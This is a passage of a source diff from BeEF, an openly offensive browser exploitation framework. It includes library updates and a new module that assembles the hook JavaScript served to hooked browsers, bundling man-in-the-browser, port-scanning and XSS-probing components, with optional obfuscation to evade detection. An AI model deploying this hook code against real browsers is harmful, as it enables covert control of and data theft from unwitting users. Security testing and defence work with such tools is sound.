require 'core/main/handlers/hookedbrowsers'
|
||||
|
||||
@@ -19,6 +19,7 @@ require 'core/main/models/optioncache'
|
||||
require 'core/main/models/browserdetails'
|
||||
require 'core/main/models/rule'
|
||||
require 'core/main/models/execution'
|
||||
require 'core/main/models/legacybrowseruseragents'
|
||||
|
||||
# @note Include the constants
|
||||
require 'core/main/constants/browsers'
|
||||
|
||||
@@ -39,7 +39,7 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
*/
|
||||
debug: function(msg) {
|
||||
isDebug = '<%= @client_debug %>'
|
||||
if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) {
|
||||
if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') {
|
||||
var currentdate = new Date();
|
||||
var pad = function(n){return ("0" + n).slice(-2);}
|
||||
var datetime = currentdate.getFullYear() + "-"
|
||||
|
||||
@@ -16,10 +16,10 @@ var warnedAbout = {};
|
||||
jQuery.migrateWarnings = [];
|
||||
|
||||
// Set to true to prevent console output; migrateWarnings still maintained
|
||||
// jQuery.migrateMute = false;
|
||||
jQuery.migrateMute = true;
|
||||
|
||||
// Show a message on the console so devs know we're active
|
||||
if ( window.console && window.console.log ) {
|
||||
if (window.console && window.console.log && !jQuery.migrateMute) {
|
||||
window.console.log( "JQMIGRATE: Migrate is installed" +
|
||||
( jQuery.migrateMute ? "" : " with logging active" ) +
|
||||
", version " + jQuery.migrateVersion );
|
||||
@@ -27,7 +27,7 @@ if ( window.console && window.console.log ) {
|
||||
|
||||
// Set to false to disable traces that appear with warnings
|
||||
if ( jQuery.migrateTrace === undefined ) {
|
||||
jQuery.migrateTrace = true;
|
||||
jQuery.migrateTrace = false;
|
||||
}
|
||||
|
||||
// Forget any warnings we've already given; public
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
/**
|
||||
/*!
|
||||
* Platform.js
|
||||
* Copyright 2014-2018 Benjamin Tan
|
||||
* Copyright 2014-2020 Benjamin Tan
|
||||
* Copyright 2011-2013 John-David Dalton
|
||||
* Available under MIT license
|
||||
* @namespace platform
|
||||
*/
|
||||
;(function() {
|
||||
'use strict';
|
||||
@@ -340,7 +339,7 @@
|
||||
|
||||
/* Detectable layout engines (order is important). */
|
||||
var layout = getLayout([
|
||||
{ 'label': 'EdgeHTML', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
|
||||
{ 'label': 'EdgeHTML', 'pattern': 'Edge' },
|
||||
'Trident',
|
||||
{ 'label': 'WebKit', 'pattern': 'AppleWebKit' },
|
||||
'iCab',
|
||||
@@ -370,7 +369,7 @@
|
||||
'Konqueror',
|
||||
'Lunascape',
|
||||
'Maxthon',
|
||||
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
|
||||
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },
|
||||
'Midori',
|
||||
'Nook Browser',
|
||||
'PaleMoon',
|
||||
@@ -386,13 +385,18 @@
|
||||
{ 'label': 'SRWare Iron', 'pattern': 'Iron' },
|
||||
'Sunrise',
|
||||
'Swiftfox',
|
||||
'Vivaldi',
|
||||
'Waterfox',
|
||||
'WebPositive',
|
||||
{ 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },
|
||||
{ 'label': 'UC Browser', 'pattern': 'UCBrowser' },
|
||||
'Opera Mini',
|
||||
{ 'label': 'Opera Mini', 'pattern': 'OPiOS' },
|
||||
'Opera',
|
||||
{ 'label': 'Opera', 'pattern': 'OPR' },
|
||||
'Chromium',
|
||||
'Chrome',
|
||||
{ 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },
|
||||
{ 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
|
||||
{ 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
|
||||
{ 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
|
||||
@@ -438,6 +442,7 @@
|
||||
/* Detectable manufacturers. */
|
||||
var manufacturer = getManufacturer({
|
||||
'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
|
||||
'Alcatel': {},
|
||||
'Archos': {},
|
||||
'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
|
||||
'Asus': { 'Transformer': 1 },
|
||||
@@ -446,22 +451,28 @@
|
||||
'Google': { 'Google TV': 1, 'Nexus': 1 },
|
||||
'HP': { 'TouchPad': 1 },
|
||||
'HTC': {},
|
||||
'Huawei': {},
|
||||
'Lenovo': {},
|
||||
'LG': {},
|
||||
'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
|
||||
'Motorola': { 'Xoom': 1 },
|
||||
'Nintendo': { 'Wii U': 1, 'Wii': 1 },
|
||||
'Nokia': { 'Lumia': 1 },
|
||||
'Oppo': {},
|
||||
'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
|
||||
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 }
|
||||
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },
|
||||
'Xiaomi': { 'Mi': 1, 'Redmi': 1 }
|
||||
});
|
||||
|
||||
/* Detectable operating systems (order is important). */
|
||||
var os = getOS([
|
||||
'Windows Phone',
|
||||
'KaiOS',
|
||||
'Android',
|
||||
'CentOS',
|
||||
{ 'label': 'Chrome OS', 'pattern': 'CrOS' },
|
||||
'Debian',
|
||||
{ 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },
|
||||
'Fedora',
|
||||
'FreeBSD',
|
||||
'Gentoo',
|
||||
@@ -617,9 +628,26 @@
|
||||
// Convert layout to an array so we can add extra details.
|
||||
layout && (layout = [layout]);
|
||||
|
||||
// Detect Android products.
|
||||
// Browsers on Android devices typically provide their product IDS after "Android;"
|
||||
// up to "Build" or ") AppleWebKit".
|
||||
// Example:
|
||||
// "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36
|
||||
// (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"
|
||||
if (/\bAndroid\b/.test(os) && !product &&
|
||||
(data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) {
|
||||
product = trim(data[1])
|
||||
// Replace any language codes (eg. "en-US").
|
||||
.replace(/^[a-z]{2}-[a-z]{2};\s*/i, '')
|
||||
|| null;
|
||||
}
|
||||
// Detect product names that contain their manufacturer's name.
|
||||
if (manufacturer && !product) {
|
||||
product = getProduct([manufacturer]);
|
||||
} else if (manufacturer && product) {
|
||||
product = product
|
||||
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ')
|
||||
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2');
|
||||
}
|
||||
// Clean up Google TV.
|
||||
if ((data = /\bGoogle TV\b/.exec(product))) {
|
||||
@@ -647,7 +675,7 @@
|
||||
: '');
|
||||
}
|
||||
// Detect Kubuntu.
|
||||
else if (name == 'Konqueror' && !/buntu/i.test(os)) {
|
||||
else if (name == 'Konqueror' && /^Linux\b/i.test(os)) {
|
||||
os = 'Kubuntu';
|
||||
}
|
||||
// Detect Android browsers.
|
||||
@@ -667,6 +695,10 @@
|
||||
description.unshift('accelerated');
|
||||
}
|
||||
}
|
||||
// Detect UC Browser speed mode.
|
||||
else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) {
|
||||
description.push('speed mode');
|
||||
}
|
||||
// Detect PaleMoon identifying as Firefox.
|
||||
else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
|
||||
description.push('identifying as Firefox ' + data[1]);
|
||||
@@ -696,7 +728,7 @@
|
||||
// Detect non-Opera (Presto-based) versions (order is important).
|
||||
if (!version) {
|
||||
version = getVersion([
|
||||
'(?:Cloud9|CriOS|CrMo|Edge|EdgA|EdgiOS|FxiOS|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$))',
|
||||
'(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)',
|
||||
'Version',
|
||||
qualify(name),
|
||||
'(?:Firefox|Minefield|NetFront)'
|
||||
@@ -824,7 +856,7 @@
|
||||
(prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
|
||||
}
|
||||
// Detect Firefox Mobile.
|
||||
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS)\b/.test(os)) {
|
||||
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) {
|
||||
name = 'Firefox Mobile';
|
||||
}
|
||||
// Obscure Maxthon's unreliable version.
|
||||
@@ -920,7 +952,7 @@
|
||||
version = null;
|
||||
}
|
||||
// Use the full Chrome version when available.
|
||||
data[1] = (/\bChrome\/([\d.]+)/i.exec(ua) || 0)[1];
|
||||
data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1];
|
||||
// Detect Blink layout engine.
|
||||
if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
|
||||
layout = ['Blink'];
|
||||
@@ -929,7 +961,7 @@
|
||||
// http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
|
||||
if (!useFeatures || (!likeChrome && !data[1])) {
|
||||
layout && (layout[1] = 'like Safari');
|
||||
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : '8');
|
||||
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');
|
||||
} else {
|
||||
layout && (layout[1] = 'like Chrome');
|
||||
data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
|
||||
@@ -939,6 +971,8 @@
|
||||
// Obscure version for some Safari 1-2 releases.
|
||||
if (name == 'Safari' && (!version || parseInt(version) > 45)) {
|
||||
version = data;
|
||||
} else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) {
|
||||
description.unshift('headless');
|
||||
}
|
||||
}
|
||||
// Detect Opera desktop modes.
|
||||
@@ -966,16 +1000,24 @@
|
||||
os = null;
|
||||
}
|
||||
}
|
||||
// Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.
|
||||
else if (/\bSRWare Iron\b/.test(name) && !version) {
|
||||
version = getVersion('Chrome');
|
||||
}
|
||||
// Strip incorrect OS versions.
|
||||
if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
|
||||
ua.indexOf('/' + data + '-') > -1) {
|
||||
os = trim(os.replace(data, ''));
|
||||
}
|
||||
// Ensure OS does not include the browser name.
|
||||
if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {
|
||||
os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');
|
||||
}
|
||||
// Add layout engine.
|
||||
if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
|
||||
/Browser|Lunascape|Maxthon/.test(name) ||
|
||||
name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
|
||||
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|Web)/.test(name) && layout[1])) {
|
||||
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {
|
||||
// Don't add layout details to description if they are falsey.
|
||||
(data = layout[layout.length - 1]) && description.push(data);
|
||||
}
|
||||
@@ -1033,7 +1075,7 @@
|
||||
/**
|
||||
* The platform object.
|
||||
*
|
||||
* @memberof platform
|
||||
* @name platform
|
||||
* @type Object
|
||||
*/
|
||||
var platform = {};
|
||||
@@ -1144,8 +1186,8 @@
|
||||
*
|
||||
* Common values include:
|
||||
* "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
|
||||
* "Windows XP", "OS X", "Ubuntu", "Debian", "Fedora", "Red Hat", "SuSE",
|
||||
* "Android", "iOS" and "Windows Phone"
|
||||
* "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat",
|
||||
* "SuSE", "Android", "iOS" and "Windows Phone"
|
||||
*
|
||||
* @memberOf platform.os
|
||||
* @type string|null
|
||||
|
||||
@@ -31,7 +31,8 @@ module BeEF
|
||||
@@config = config
|
||||
rescue StandardError => e
|
||||
print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}"
|
||||
print_error e.backtrace
|
||||
print_more e.backtrace
|
||||
exit(1)
|
||||
end
|
||||
|
||||
@@instance = self
|
||||
@@ -41,13 +42,8 @@ module BeEF
|
||||
# @param [String] file YAML file to be loaded
|
||||
# @return [Hash] YAML formatted hash
|
||||
def load(file)
|
||||
return nil unless File.exist? file
|
||||
|
||||
raw = File.read file
|
||||
YAML.safe_load raw
|
||||
rescue StandardError => e
|
||||
print_debug "Unable to load configuration file '#{file}' : #{e.message}"
|
||||
print_error e.backtrace
|
||||
return nil unless File.exist?(file)
|
||||
YAML.safe_load(File.binread(file))
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -9,6 +9,7 @@ module BeEF
|
||||
# @note This class handles connections from hooked browsers to the framework.
|
||||
class HookedBrowsers < BeEF::Core::Router::Router
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::MultiStageBeEFJS
|
||||
include BeEF::Core::Handlers::Modules::LegacyBeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
@@ -17,6 +18,16 @@ module BeEF
|
||||
disable :protection
|
||||
end
|
||||
|
||||
# Generate the hook js provided to the hookwed browser (the magic happens here)
|
||||
def confirm_browser_user_agent(user_agent)
|
||||
browser_type = user_agent.split(' ').last # selecting just name/version of browser
|
||||
# does the browser already exist in the legacy database / object? Return true if yes
|
||||
BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|
|
||||
return true if ua_string.include? browser_type
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
# Process HTTP requests sent by a hooked browser to the framework.
|
||||
# It will update the database to add or update the current hooked browser
|
||||
# and deploy some command modules or extensions to the hooked browser.
|
||||
@@ -111,18 +122,31 @@ module BeEF
|
||||
host_name = request.host
|
||||
unless BeEF::Filters.is_valid_hostname?(host_name)
|
||||
(print_error 'Invalid host name'
|
||||
return)
|
||||
return)
|
||||
end
|
||||
|
||||
# Generate the hook js provided to the hookwed browser (the magic happens here)
|
||||
if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
|
||||
print_debug 'Using WebSocket'
|
||||
build_beefjs!(host_name)
|
||||
elsif confirm_browser_user_agent(request.user_agent)
|
||||
print_debug 'Using multi_stage_beefjs'
|
||||
multi_stage_beefjs!(host_name)
|
||||
else
|
||||
print_debug 'Using legacy_build_beefjs'
|
||||
legacy_build_beefjs!(host_name)
|
||||
end
|
||||
# @note is a known browser so send instructions
|
||||
end
|
||||
|
||||
# check for string within array of strings
|
||||
def check_for_string(string, array)
|
||||
array.each do |item|
|
||||
return true if item.include? string
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
# @note set response headers and body
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
# @note Purpose: avoid rewriting several times the same code.
|
||||
module MultiStageBeEFJS
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
# @param [Object] req_host The request object
|
||||
def multi_stage_beefjs!(req_host)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note set up values required to construct beefjs
|
||||
beef_js = ''
|
||||
# @note location of sub files
|
||||
beef_js_path = "#{$root_dir}/core/main/client/"
|
||||
|
||||
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
|
||||
ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js]
|
||||
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation
|
||||
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
|
||||
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
|
||||
# @note Load websocket library only if WS server is enabled in config.yaml
|
||||
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
|
||||
# @note Load webrtc library only if WebRTC extension is enabled
|
||||
if config.get('beef.extension.webrtc.enable') == true
|
||||
beef_js_sub_files << 'lib/webrtcadapter.js'
|
||||
beef_js_sub_files << 'webrtc.js'
|
||||
end
|
||||
|
||||
# @note antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files << 'timeout.js'
|
||||
|
||||
ext_js_to_obfuscate = ''
|
||||
ext_js_to_not_obfuscate = ''
|
||||
|
||||
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
|
||||
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
|
||||
ext_js_sub_files.each do |ext_js_sub_file|
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)
|
||||
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
|
||||
# do not obfuscate the file
|
||||
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
|
||||
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
|
||||
else
|
||||
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
|
||||
ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
|
||||
end
|
||||
else
|
||||
# Evasion is not enabled, do not obfuscate anything
|
||||
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
|
||||
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
|
||||
end
|
||||
end
|
||||
|
||||
# @note construct the beef_js string from file(s)
|
||||
beef_js_sub_files.each do |beef_js_sub_file|
|
||||
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
|
||||
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
|
||||
end
|
||||
|
||||
# @note create the config for the hooked browser session
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])
|
||||
hook_session_config['beef_host'] = hook_session_config['beef_public']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
|
||||
end
|
||||
if hook_session_config['beef_host'].eql? '0.0.0.0'
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
|
||||
# @note set the XHR-polling timeout
|
||||
hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')
|
||||
|
||||
# @note set the hook file path and BeEF's cookie name
|
||||
hook_session_config['hook_file'] = config.get('beef.http.hook_file')
|
||||
hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])
|
||||
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
|
||||
hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'
|
||||
end
|
||||
|
||||
# @note Set some WebSocket properties
|
||||
if config.get('beef.http.websocket.enable')
|
||||
hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')
|
||||
hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')
|
||||
hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')
|
||||
hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')
|
||||
hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')
|
||||
end
|
||||
|
||||
# @note Set if PhishingFrenzy integration is enabled
|
||||
hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable')
|
||||
|
||||
# @note populate place holders in the beef_js string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beef_js)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
|
||||
else
|
||||
@final_hook = ext_js_to_not_obfuscate + @hook
|
||||
end
|
||||
|
||||
# @note Return the final hook to be sent to the browser
|
||||
@body << @final_hook
|
||||
end
|
||||
|
||||
# Finds the path to js components
|
||||
# @param [String] component Name of component
|
||||
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
|
||||
def legacy_find_beefjs_component_path(component)
|
||||
component_path = component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
return false unless File.exist? component_path
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
# Builds missing beefjs components.
|
||||
# @param [Array] beefjs_components An array of component names
|
||||
def legacy_build_missing_beefjs_components(beefjs_components)
|
||||
# @note verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path
|
||||
|
||||
beefjs_components = { beefjs_components => beefjs_components_path }
|
||||
end
|
||||
|
||||
beefjs_components.keys.each do |k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
# @note path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
# @note we output the component to the hooked browser
|
||||
config = BeEF::Core::Configuration.instance
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@body << evasion.obfuscate(File.read(component_path) + "\n\n")
|
||||
else
|
||||
@body << (File.read(component_path) + "\n\n")
|
||||
end
|
||||
|
||||
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
else
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Objects stores known 'legacy' browser User Agents.
|
||||
#
|
||||
# This table is used to determine if a hooked browser is a 'legacy'
|
||||
# browser and therefore which version of the hook file to generate and use
|
||||
#
|
||||
# TODO: make it an actual table
|
||||
#
|
||||
module LegacyBrowserUserAgents
|
||||
def self.user_agents
|
||||
[
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0'
|
||||
]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
+1
-1
@@ -67,7 +67,7 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
*/
|
||||
debug: function(msg) {
|
||||
isDebug = '<%= @client_debug %>'
|
||||
if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) {
|
||||
if (typeof console == "object" && typeof console.log == "function" && isDebug === '-1') {
|
||||
var currentdate = new Date();
|
||||
var pad = function(n){return ("0" + n).slice(-2);}
|
||||
var datetime = currentdate.getFullYear() + "-"
|
||||
|
||||
@@ -15,38 +15,46 @@ module BeEF
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
def self.evaluate_and_minify(content, params, name)
|
||||
erubis = Erubis::FastEruby.new(content)
|
||||
evaluated = erubis.evaluate(params)
|
||||
|
||||
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
|
||||
def self.evaluate_and_minify(content, params)
|
||||
begin
|
||||
opts = {
|
||||
output: {
|
||||
comments: :none
|
||||
},
|
||||
compress: {
|
||||
dead_code: true
|
||||
},
|
||||
harmony: true
|
||||
}
|
||||
minified = Uglifier.compile(evaluated, opts)
|
||||
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
|
||||
rescue StandardError
|
||||
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
|
||||
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
|
||||
minified = evaluated
|
||||
erubis = Erubis::FastEruby.new(content)
|
||||
evaluated = erubis.evaluate(params)
|
||||
rescue => e
|
||||
print_error("[Admin UI] Evaluating with Eruby failed: #{e.message}")
|
||||
return
|
||||
end
|
||||
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+')
|
||||
File.write(write_to, minified)
|
||||
|
||||
File.path write_to
|
||||
rescue StandardError => e
|
||||
print_error "[AdminUI] Error: #{e.message}"
|
||||
print_error e.backtrace
|
||||
print_debug "[AdminUI] Minifying JavaScript (#{evaluated.size} bytes)"
|
||||
|
||||
opts = {
|
||||
output: {
|
||||
comments: :none
|
||||
},
|
||||
compress: {
|
||||
dead_code: true
|
||||
},
|
||||
harmony: true
|
||||
}
|
||||
|
||||
begin
|
||||
minified = Uglifier.compile(evaluated, opts)
|
||||
rescue StandardError => e
|
||||
print_warning "[AdminUI] Error: Could not minify '#{name}' JavaScript file: #{e.message}"
|
||||
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
|
||||
return evaluated
|
||||
end
|
||||
|
||||
print_debug "[AdminUI] Minified #{evaluated.size} bytes to #{minified.size} bytes"
|
||||
|
||||
return minified
|
||||
end
|
||||
|
||||
def self.build_javascript_ui(beef_server)
|
||||
def self.write_minified_js(name, content)
|
||||
temp_file = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{File.basename(name)}", 'w+')
|
||||
File.write(temp_file, content)
|
||||
end
|
||||
|
||||
def self.build_javascript_ui
|
||||
# NOTE: order counts! make sure you know what you're doing if you add files
|
||||
esapi = %w[
|
||||
esapi/Class.create.js
|
||||
@@ -90,9 +98,9 @@ module BeEF
|
||||
|
||||
global_js = esapi + ux + panel
|
||||
|
||||
js_files = ''
|
||||
global_js.each do |file|
|
||||
js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n")
|
||||
admin_ui_js = ''
|
||||
global_js.each do |file_name|
|
||||
admin_ui_js << ("#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/#{file_name}")}\n\n")
|
||||
end
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@@ -106,12 +114,21 @@ module BeEF
|
||||
|
||||
# process all JavaScript files, evaluating them with Erubis
|
||||
print_debug '[AdminUI] Initializing admin panel ...'
|
||||
web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all')
|
||||
auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
|
||||
web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
|
||||
|
||||
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
|
||||
